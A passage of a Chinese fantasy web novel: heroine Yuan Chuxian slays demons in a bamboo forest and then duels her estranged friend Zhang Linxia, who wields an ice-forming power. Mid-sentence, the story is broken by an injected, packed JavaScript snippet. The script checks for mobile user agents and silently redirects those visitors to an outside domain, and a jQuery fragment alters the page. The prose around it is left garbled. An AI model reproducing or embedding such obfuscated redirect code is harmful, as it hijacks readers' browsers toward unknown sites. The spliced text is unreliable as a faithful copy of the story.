竹林里安静地出奇。
元初弦记得,上一次来这里的时候,还能听见鸟儿和虫子的叫声,此刻静悄悄的,只有风默默吹过竹林的声音。
她不想在这里久留,寂静的竹林中仿佛有着某种超越人类认知的存在,稍不留神,便会被夺去心魄。
“嚓。”
元初弦低下头,这才发现自己只是踩碎了一片竹叶。
她默默收回脚,神经紧绷的她已经有些不分敌我,手指微微颤抖着,不知是因为兴奋,还是恐惧而战栗。她用另一只空闲的手握了握拿剑的手,稍稍平复了下心情,这才向着更深处走去。
四处搜寻了一圈,并没有找到什么有价值的线索,正当元初弦想继续往监狱的方向前进时,却不慎触到了什么铁做的装置。
她停下脚步,蹲下凑近装置细细端详着,外观倒是看不出来什么,只是让她觉得有些熟悉,像是在哪见过。随手捡了个石头,扔在装置上,敲击声听起来是中空的。
元初弦皱了皱眉,把这个装置拍照发给了技术部的同事。
对方回的很快:“初弦姐,这不是你上次让我分析的装置吗?”
“什么装置?”元初弦已经不太记得了。
对方倒是没有急着说话,而是发给她一张图片。一模一样的装置,只是背景是实验室。
“我曾经在什么地方见过这个东西?”元初弦有些不可置信地喃喃自语。
大脑似乎也渐渐想起了一些浮光掠影,记得是夜,她进入一栋烂尾楼内,最初并没有觉察到任何气息,却在清脆的响声之后,被层层叠叠的妖邪包围。
那个声音——有点像是易拉罐内部膨胀之后,快要破裂时发出的响声。
“嚓——”
响动与记忆中的声音重合,元初弦拔刀,向后砍去,几乎就在同时,那只嘴脸丑恶的妖邪挥舞着链刃袭来,金属相接,发出令人牙酸的尖啸。元初弦收回刀刃,再一击,贯穿眼前的妖邪,有黑色的黏液状物质自伤洞处逸出,缓缓消散于空气中。
她环视四周,聚集于此的妖邪越来越多,凭她一人,似乎不好对付。
可容不了她慢慢思考。
三只最为健硕的妖邪发出嘶吼,不由分说地向着她的方向奔来,气势汹汹。
元初弦向上起跳,双手握住刀柄,灌入灵力,旋入妖邪之中。
一时间血肉飞溅,妖邪们痛苦地呻吟着,高速旋转的刀刃如同绞肉机一般切割着妖邪的□□,许久方才停息。
少女喘着粗气,目露凶光,振刀抖落祭祀刀上的血液,初尝鲜血的刀刃在黯淡的日光下显现出淡淡的樱红色,她看似不经意地用手背抹开脸上的血迹,绚丽的鲜红在她莹白的脸上诡异却又让人目眩,如同宣告战斗的迷彩。
还有三只,四只……
元初弦已无暇去数到底有多少敌人,大脑完全来不及思考,全凭身体的自主反应迎敌,跳跃着切入一个又一个袭来的敌人,健步如飞穿梭在竹林之中,执刀砍下妖邪的头颅。那双冷漠的蓝色眸子,如神殿上端坐的淡漠神像,瞳孔中镶嵌的蓝色刚玉,静静地闪烁着辉光。
记不清杀了多少只,只感觉体力都已消磨,根本没有喘息的余地,便被驱赶着继续杀敌。
她几乎杀红了眼。
“啪,啪,啪。”
清脆的三声掌声,在竹林中响起。
元初弦斩下最后一只妖邪的头颅,侧脸看向声音来源的方向。
身着白衣的女性从竹林深处缓步走来,长发如泼墨般,高高束起于脑后,随风飘荡,她手中提着一柄长剑,漫不经心地检视那刀上的花纹,嘴角含笑。
和狼狈不堪、如同地狱恶鬼的元初弦相比,她简直圣洁如天使。
“好久不见,初弦。没想到再次见到你,你这么狼狈。”
“是你计划的?”元初弦咳嗽一声,吐出口中的血水。
“谁知道呢。”少女勾了勾唇,欣赏着她的狼狈,“有人为我准备了现成的路,不来插手,似乎有些浪费。”
话锋一转,她突然笑着说道,像是开了个无关紧要的玩笑那般,“元初弦,可以请你去死吗?”
“什么?”元初弦大脑还在发懵,一时之间没有反应过来。
“我说,可以请你去死吗?”少女眼中却完全没有任何请求的意思,“你可是我现存于世,唯一的败笔。”
元初弦听明白了,她笑了一声,用刀支撑起身子,尽量和面前的人平起平坐。
相比起16岁那年,她个子似乎更高了些。
但是没关系,元初弦暗自握拳,自己也成长了不少。
“听你这句话的意思,你的父亲,是你亲手杀死的对吗?”元初弦笑了笑,“乌鸦尚且反哺,你倒好,居然为了所谓的‘权柄’对亲人下手。”
“他自从被查出贪腐的那刻起,便不再是我的父亲了。”少女说,“就算曾经对我有过生养之恩,我也对这种肮脏的畜生毫无同情可言,甚至我亲手送他上路,已是我对他最大的敬意。”
“檩夏,你真是变了。”元初弦又咳嗽了一声,望着手上来不及遮掩的鲜血,她反倒将那血抹在刀刃上,祭祀刀发出危险的红光,“我还记得,你从前愿意为了我,不惜翻找你父亲保险箱的事情。”
“我一直没有变啊。”张檩夏眼中亮起妖艳的红色,从前象征血统纯净的天蓝色瞳孔,如今荡然无存。
元初弦知道这种状态,在她有限的关于“术”的记忆中,存在这样一种技巧,可让灵力以突破人类身体极限的素质燃烧,代价则是失去为人的理性,在南家被列为禁术。
“我只是在做,我认为对的事情罢了。”
话音掷地,张檩夏骤然发难,她的速度极快,元初弦几乎判断不出她挥刀的方向,只能在身体四周调用起灵力保护自己。剑风呼啸,对方的灵力藏锋于剑,元初弦在接招化解的同时,也暗暗惊叹于对方的进步。
士别三日当刮目相看,更别说,她们已三年未曾会晤。
“来不及叙旧了,初弦,我要杀了你。”张檩夏狂妄的笑声回响在竹林之中,“成为我称王路上的祭品吧,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038415|178254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有人比你更适合成为这一存在了!”
“你、休想!”元初弦咬牙切齿。
剑刃相接,似乎空气中都激荡着火花。
元初弦瞅准时机用了巧劲,向上挑起张檩夏的剑,那剑挽了个花,直直落入二人身后的空地中。
张檩夏武器脱手,却并没有任何慌张,而是笑着向虚空中抓去。
水汽凝结成冰刃,颤颤巍巍地悬浮在半空中,她挥了挥手,冰刃成倍地复制自身,顷刻之间,整片竹林便被布下了天罗地网。
这便是“解构”,目前登记在案最高危的灵能之一,而张檩夏,很不幸的,是这个灵能的持有者。
《道德经》有言,道生一,一生二,三生万物。
若是用现代化学理论解释,“解构”改变的是万事万物分子层面的结构,只要持有者灵力足够充沛,甚至可让铁器凭空出现。
但战斗中,要的是快准狠。
元初弦应付一支冰刃,或许绰绰有余,可面对眼前这数以千计的尖刺,她也不由得在心中画下一个问号。
可来不及让她思考了。
张檩夏仅轻轻一挥手,刀刃们便向着元初弦发射,割裂空气的啸声在林中回荡。
她还未欣赏自己的战果多久,便骤然感知到来自头顶的杀意。冰刃迅速凝结成盾,接下元初弦的全力一击。
爆炸声起,烟雾散去,两人皆是被冲击弹开,相隔数米,元初弦眼中倒是坦然,她慢悠悠地直起身来,面带怜悯,一瘸一拐地走向张檩夏。
“跟我回去吧,小夏。我会和南家求情的,至少让你活下去。”
“别用这种污言秽语污染我的耳朵。”张檩夏笑了起来,她一边笑,嘴角忍不住溢出腥甜的鲜血,“你看看你自己,被扎得像个冰刺猬,还有脸说出能拯救我这句话吗?”
她恶狠狠地淬了一口,“别把你圣母心拯救所有人那套,用在我的身上,我才不管你是谁,元初弦。逆我的,我都要教他灭亡!”
说罢,她屈指成爪,向后借力奔袭,朝着元初弦的心窝剜去。
元初弦闭上眼睛。她看起来很疲惫,像是苦旅的行者,终于抵达了道路的尽头,手中的祭祀刀已然完全褪去神性,燃烧起扭曲的复仇诅咒之火,鲜红的刀刃在无光之地,依旧折射出夺目的色彩。
“住手吧,檩夏,我不想变成这样的。”
她睁开眼,恍惚间以为眼前的人依旧是四年前模样,恰同学少年,风华正茂,少女们之间的友情依旧闪耀。
是哪里不对劲呢?
到底是哪里不对劲呢?
元初弦不知道。
刀刃削下骨肉的声音,原来是沉闷的。
血液四溅,她下意识闭上双眼,却还是将对方狰狞的表情收入眼中。
张檩夏捂着断臂,却居高临下地看着她。
断臂处迅速再生,钢铁般冷硬的手,自切口断面处生长而成。
“真是让我轻敌了啊,元初弦。”她说,“明明是一把没开刃的刀,你却已经能运用自如了吗?”